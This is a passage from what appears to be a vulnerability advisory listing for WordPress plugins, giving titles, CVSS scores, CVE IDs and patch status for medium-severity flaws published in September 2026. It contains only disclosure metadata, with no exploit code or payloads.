Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

Mailchimp for WooCommerce <= 6.1.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92435
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Mailchimp for WooCommerce [mailchimp-for-woocommerce]

Researchers

More Details >

Master Addons for Elementor <= 3.1.8 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91015
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits [master-addons]

Researcher

More Details >

Meow Gallery <= 5.5.4 – Unauthenticated Arbitrary Shortcode Execution

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92422
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Meow Gallery [meow-gallery]

Researcher

More Details >

MgoSync 2.1.5 – 2.1.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92404
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

MgoSync – European dropshipping and suppliers [megamo]

Researchers

More Details >

Motors – Car Dealership & Classified Listings <= 1.4.120 – Missing Authorization to Unauthenticated Private/Draft/Password-Protected Listings Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-16750
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Motors – Car Dealership & Classified Listings Plugin [motors-car-dealership-classified-listings]

Researchers

More Details >

Motors <= 1.4.120 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91016
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Motors – Car Dealership & Classified Listings Plugin [motors-car-dealership-classified-listings]

Researcher

More Details >

Newsletter <= 9.3.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86824
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Newsletter [newsletter-email-mailing-list]

Researcher

More Details >

Ni WooCommerce Sales Report <= 4.1.0 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78474
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Ni WooCommerce Sales Report – Orders, Revenue & Sales Analytics Dashboard [ni-woocommerce-sales-report]

Researcher

More Details >

Paid Member Subscriptions <= 3.0.8 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-90922
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction [paid-member-subscriptions]

Researcher

More Details >

Payment Gateway for PayPal on WooCommerce <= 9.2.0 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92400
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Payment Gateway for PayPal on WooCommerce [woo-paypal-gateway]

Researcher

More Details >

Payment Gateway of Stripe for WooCommerce <= 5.0.8 – Unauthenticated Improper Verification of Cryptographic Signature via woocommerce_api_wt_stripe Webhook Endpoint

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-9832
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Payment Gateway of Stripe for WooCommerce [payment-gateway-stripe-and-woocommerce-integration]

Researcher

More Details >

Really Simple Security (Free) <= 9.8.2 – Unauthenticated Unbounded Option Growth

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-88798
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) [really-simple-ssl]

Researcher

More Details >

Rede Itaú for WooCommerce <= 5.4.6 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92430
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit [woo-rede]

Researchers

More Details >

RestroPress <= 3.4.5 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85010
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

RestroPress – Online Food Ordering System [restropress]

Researcher

More Details >

RestroPress <= 3.4.7 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85009
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

RestroPress – Online Food Ordering System [restropress]

Researcher

More Details >

Robokassa payment gateway for Woocommerce <= 1.8.8 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91017
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Robokassa payment gateway for Woocommerce [robokassa]

Researcher

More Details >

Rox Appointment Booking – Appointment Booking Scheduling Solution < 1.2.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87891
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Rox Appointment Booking – Appointment Booking Scheduling Solution [rox-appointment-booking]

Researcher

More Details >

Rox Appointment Booking <= 1.2.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87896
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Rox Appointment Booking – Appointment Booking Scheduling Solution [rox-appointment-booking]

Researcher

More Details >

Rox Appointment Booking <= 1.2.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87907
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Rox Appointment Booking – Appointment Booking Scheduling Solution [rox-appointment-booking]

Researcher

More Details >

Schema & Structured Data for WP & AMP <= 1.65 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82124
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Schema & Structured Data for WP & AMP [schema-and-structured-data-for-wp]

Researcher

More Details >

Schema & Structured Data for WP & AMP <= 1.65 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82125
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Schema & Structured Data for WP & AMP [schema-and-structured-data-for-wp]

Researcher

More Details >

Secure Custom Fields <= 6.9.3 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92403
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Secure Custom Fields [secure-custom-fields]

Researcher

More Details >

Subscriptions for WooCommerce <= 2.0.2 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87854
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

More Details >

TikTok <= 1.4.1 – Missing Authorization to Unauthenticated TikTok Integration Takeover via ‘auth_code’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-18346
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

TikTok [tiktok-for-business]

Researcher

More Details >

TikTok 1.2.0 – 1.4.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92965
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

TikTok [tiktok-for-business]

Researcher

More Details >

To Do List Member <= 1.6 – Unauthenticated Content Injection

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86802
Patch Status

Unpatched
Published
Sep 18, 2026

Affected Software

To Do List Member [todo-lists-for-membership-sites]

Researchers

More Details >

Tripzzy <= 1.5.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87840
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Tripzzy – Travel Engine System [tripzzy]

Researchers

More Details >

Tripzzy <= 1.5.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87839
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Tripzzy – Travel Engine System [tripzzy]

Researchers

More Details >

UpsellWP <= 2.2.9 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85350
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

UpsellWP – Upsell and Related Products Offers for WooCommerce [checkout-upsell-and-order-bumps]

Researcher

More Details >

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 5.2.7 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-74017
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

More Details >

WordLift <= 3.54.10 – Unauthenticated Sensitive Information Exposure in JSON-LD REST API Endpoints

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-9289
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WordLift – AI powered SEO – Schema [wordlift]

Researcher

More Details >

WPGraphQL Smart Cache <= 2.3.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-92099
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WPGraphQL Smart Cache [wpgraphql-smart-cache]

Researcher

More Details >

Zonify – Amazon Product Importer for WooCommerce < 1.0.5 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87842
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Zonify – Amazon Product Importer for WooCommerce [zonify]

Researchers

More Details >

GoPay for WooCommerce <= 1.0.36 – Authenticated (Shop Manager+) SQL Injection via ‘log_table_filter’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-75959
Patch Status

Unpatched
Published
Sep 18, 2026

Affected Software

GoPay for WooCommerce [gopay-gateway]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) Arbitrary File Read

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-76555
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) Path Traversal to Arbitrary Directory Deletion

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-76553
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-76557
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-76556
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Issues and Series for Newspapers, Magazines, Publishers, Writers <= 3.1.3 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66630
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Issues and Series for Newspapers, Magazines, Publishers, Writers [organize-series]

Researcher

More Details >

MoreConvert Wishlist for WooCommerce <= 1.9.21 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66631
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

MoreConvert Wishlist for WooCommerce [smart-wishlist-for-more-convert]

Researcher

More Details >

Newsletters <= 4.18 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66619
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

More Details >

NEX-Forms <= 9.3.0 – Authenticated (Administrator+) SQL Injection via ‘operator’ Key of the ‘additional_params’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-75961
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

NEX-Forms – Ultimate Forms Plugin for WordPress [nex-forms-express-wp-form-builder]

Researcher

More Details >

SKT Addons for Elementor <= 4.0 – Authenticated (Editor+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66626
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

SKT Addons for Elementor [skt-addons-for-elementor]

Researcher

More Details >

Store Exporter <= 2.8.0 – Authenticated (Shop Manager+) Path Traversal to Arbitrary File Read and Arbitrary File Deletion via ‘filename’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-16777
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Store Exporter – Export WooCommerce Products, Orders, Subscriptions, Customers [woocommerce-exporter]

Researcher

More Details >

WC Vendors – WooCommerce Multivendor, WooCommerce Marketplace, Product Vendors <= 2.7.2.1 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66625
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WC Vendors – WooCommerce Multivendor, WooCommerce Marketplace, Product Vendors [wc-vendors]

Researcher

More Details >

WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters <= 4.9.9 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66618
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Maps – Google Maps, OpenStreetMap, Mapbox, Store Locator with Search, Filters & Listings [wp-google-map-plugin]

Researcher

More Details >

WP Mega Menu <= 1.4.2 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-92465
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

WP Mega Menu [wp-megamenu]

Researcher

More Details >

WP Optimizer <= 2.5.0 – Authenticated (Administrator+) SQL Injection via ‘s’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-6295
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP Optimizer – PageSpeed, Cache, Minify & Core Web Vitals [wp-optimizer]

Researcher

More Details >

WP-Lister Lite for eBay <= 3.8.11 – Authenticated (Shop Manager+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66628
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP-Lister Lite for eBay [wp-lister-for-ebay]

Researcher

More Details >

WPMasterToolKit (WPMTK) – All in one plugin <= 2.22.0 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-66624
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WPMasterToolKit (WPMTK) – All in one plugin [wpmastertoolkit]

Researcher

More Details >

All-in-One WP Migration and Backup <= 7.110 – Authenticated (Admin+) Privilege Escalation

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-81810
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

All-in-One WP Migration and Backup [all-in-one-wp-migration]

Researcher

More Details >

Design Scuole Italia <= 2.17.3 – Open Redirect

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-89307
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

design-scuole-wordpress-theme [design-scuole-wordpress-theme]

Researcher(s): Unknown

More Details >

Import Export Lite <= 3.9.34 – Authenticated (Admin+) Privilege Escalation

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-76554
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

LiteSpeed Cache <= 7.9 – Reflected Cross-Site Scripting via ESI ‘esi’ Parameter

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-76579
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

LiteSpeed Cache [litespeed-cache]

Researcher

More Details >

WP Ghost (Hide My WP Ghost) <= 7.0.02 – Unauthenticated Open Redirect via ‘redirect_to’ Parameter

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-7527
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Hide My WP Ghost – Security & Firewall [hide-my-wp]

Researcher

More Details >

Business Name Generator <= 1.3 – Authenticated (Administrator+) Stored Cross-Site Scripting

4.4

CVSS Rating
4.4 (Medium)
CVE-ID

CVE-2025-15698
Patch Status

Unpatched
Published
Sep 17, 2026

Affected Software

Business Name Generator [designbro-business-name-generator]

Researcher

More Details >

CSS & JavaScript Toolbox <= 12.0.6 – Authenticated (Administrator+) Stored Cross-Site Scripting via Assignment Engine Fields

4.4

CVSS Rating
4.4 (Medium)
CVE-ID

CVE-2025-13533
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

CSS & JavaScript Toolbox [css-javascript-toolbox]

Researcher

More Details >

OTP Login & Register Woocommerce <= 2.7.3 – Authenticated (Administrator+) Stored Cross-Site Scripting via ‘fb-config’ Setting

4.4

CVSS Rating
4.4 (Medium)
CVE-ID

CVE-2026-12402
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

OTP Login & Register Woocommerce [mobile-login-woocommerce]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Administrator+) Stored Cross-Site Scripting via Custom Header Image Data

4.4

CVSS Rating
4.4 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WP2Social Auto Publish <= 2.4.12 – Authenticated (Administrator+) Stored Cross-Site Scripting via ‘pages’ Parameter

4.4

CVSS Rating
4.4 (Medium)
CVE-ID

CVE-2026-12042
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP2Social Auto Publish [facebook-auto-publish]

Researcher

More Details >

Active Products Tables for WooCommerce <= 2.1.2 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-91009
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Active Woot Products Tables for WooCommerce. 100% FREE  [profit-products-tables-for-woocommerce]

Researcher

More Details >

Asset CleanUp: Page Speed Booster <= 1.4.0.5 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-66571
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Asset CleanUp: Page Speed Booster [wp-asset-clean-up]

Researcher

More Details >

AVideo <= 29.0 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92579
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

aVideo [avideo]

Researcher

More Details >

BlockSpare – Gutenberg Site Builder Blocks & Starter Sites <= 4.2.6 – Incorrect Authorization to Authenticated (Subscriber+) Arbitrary Post Creation

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-1242
Patch Status

Unpatched
Published
Sep 18, 2026

Affected Software

BlockSpare – Gutenberg Blocks, AI Content Generator & Site Builder for News, Magazine & Blogs [blockspare]

Researcher

More Details >

Blog2Social: Social Media Auto Post & Scheduler <= 9.0.0 – Authenticated (Subscriber+) Username Enumeration

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89029
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Blog2Social: Social Media Auto Post & Scheduler [blog2social]

Researcher

More Details >

Blog2Social: Social Media Auto Post & Scheduler <= 9.0.0 – Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89031
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Blog2Social: Social Media Auto Post & Scheduler [blog2social]

Researcher

More Details >

Blog2Social: Social Media Auto Post & Scheduler <= 9.0.0 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89030
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Blog2Social: Social Media Auto Post & Scheduler [blog2social]

Researcher

More Details >

Bookit <= 2.6.0.4 – Authenticated (Bookit Staff+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89008
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Bookit — Booking & Appointment Calendar [bookit]

Researcher

More Details >

Bookit <= 2.6.0.4 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89007
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Bookit — Booking & Appointment Calendar [bookit]

Researcher

More Details >

Checkout Field Manager <= 7.9.6 – Authenticated (Subscriber+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87829
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Checkout Field Manager (Checkout Manager) for WooCommerce [woocommerce-checkout-manager]

Researchers

More Details >

Checkout Field Manager <= 7.9.6 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87831
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Checkout Field Manager (Checkout Manager) for WooCommerce [woocommerce-checkout-manager]

Researcher

More Details >

Comments Import & Export 2.1.11 – 2.5.3 – Authenticated (Author+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87836
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Comments Import & Export [comments-import-export-woocommerce]

Researcher

More Details >

Cooked – Recipe Management <= 1.16.0 – Authenticated (Contributor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-73999
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Cooked – Recipe Management [cooked]

Researcher

More Details >

Datalogics Ecommerce Delivery <= 2.6.65 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via Multiple AJAX Actions (datalogics_create_shipping / datalogics_cancel_shipping)

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-9613
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Datalogics Ecommerce Delivery – Datalogics [datalogics]

Researcher

More Details >

Empik for Woocommerce <= 1.5.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Product Meta Update via empik_csv_process_emp_log_classes AJAX Action

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-9766
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Empik for Woocommerce [empik-for-woocommerce]

Researcher

More Details >

Event Booking Manager for WooCommerce <= 5.5.0 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-91019
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

More Details >

Eventin <= 4.1.23 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84905
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Export & Import WPBakery Page Builder <= 1.0.2 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81429
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

Export & Import WPBakery Page Builder [vc-templates-import-export]

Researcher

More Details >

Filter Gallery <= 1.1.4 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-90978
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Filter Gallery [filter-gallery]

Researcher

More Details >

Filter Gallery <= 1.1.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Modification via ‘image_id’ Parameter via ufg_save_gallery AJAX Action

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89138
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Filter Gallery [filter-gallery]

Researcher

More Details >

Flex Import <= 3.0 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via ‘license_activate_fleximp’ and ‘license_deactivate_fleximp’ AJAX Actions

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-9615
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Flex Import [flex-import]

Researcher

More Details >

FluentBoards <= 2.0.14 – Authenticated (Board Member+) Comment Author Spoofing

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89327
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration [fluent-boards]

Researcher

More Details >

FluentBoards <= 2.0.14 – Authenticated (Subscriber+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85349
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration [fluent-boards]

Researcher

More Details >

FluentBoards <= 2.0.14 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89328
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration [fluent-boards]

Researcher

More Details >

Foxtool All-in-One: Contact chat button, Custom login, Media optimize images <= 2.5.3 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Modification via ‘option_key’ Parameter of toggle_watermark AJAX Action

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-18317
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Foxtool All-in-One: Contact chat button, Custom login, Media optimize images [foxtool]

Researcher

More Details >

Hydra Booking <= 1.2.1 – Authenticated (Hydra Host+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92420
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Hydra Booking — Appointment Scheduling & Booking Calendar [hydra-booking]

Researcher

More Details >

Hydra Booking <= 1.2.2 – Authenticated (Hydra Host+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92421
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Hydra Booking — Appointment Scheduling & Booking Calendar [hydra-booking]

Researcher

More Details >

Hydra Booking <= 1.2.3 – Authenticated (Hydra Host+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92425
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Hydra Booking — Appointment Scheduling & Booking Calendar [hydra-booking]

Researcher

More Details >

Invisible Anti-Spam & CAPTCHA <= 5.1.0 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-91010
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms [gdpr-compliant-recaptcha-for-all-forms]

Researcher

More Details >

Issues and Series for Newspapers, Magazines, Publishers, Writers <= 3.1.3 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-74005
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Issues and Series for Newspapers, Magazines, Publishers, Writers [organize-series]

Researcher

More Details >

King Addons for Elementor <= 51.1.80 – Authenticated (Contributor+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84903
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder [king-addons]

Researcher

More Details >

King Addons for Elementor 51.1.56 – 51.1.80 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84904
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder [king-addons]

Researcher

More Details >

LatePoint – Appointment Booking & Scheduling <= 5.6.9 – Unauthenticated Insecure Direct Object Reference to Sensitive Information Disclosure via ‘customer[id]’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-18441
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress [latepoint]

Researcher

More Details >

LatePoint <= 5.6.3 – Authenticated (Custom+) Insecure Direct Object Reference to Arbitrary Booking Deletion and Customer/Booking Data Disclosure via Abilities REST API (list-bookings, list-customers, delete-booking)

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-13471
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress [latepoint]

Researchers

More Details >

Magazine Blocks <= 1.8.6 – Missing Authorization to Authenticated (Contributor+) Arbitrary Post Modification / Site-Wide Template Takeover via Builder Templates REST Endpoint

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-75017
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Magazine Blocks – Blog Designer, Magazine & Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid [magazine-blocks]

Researcher

More Details >

MasterStudy LMS <= 3.7.49 – Authenticated (Instructor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-88844
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

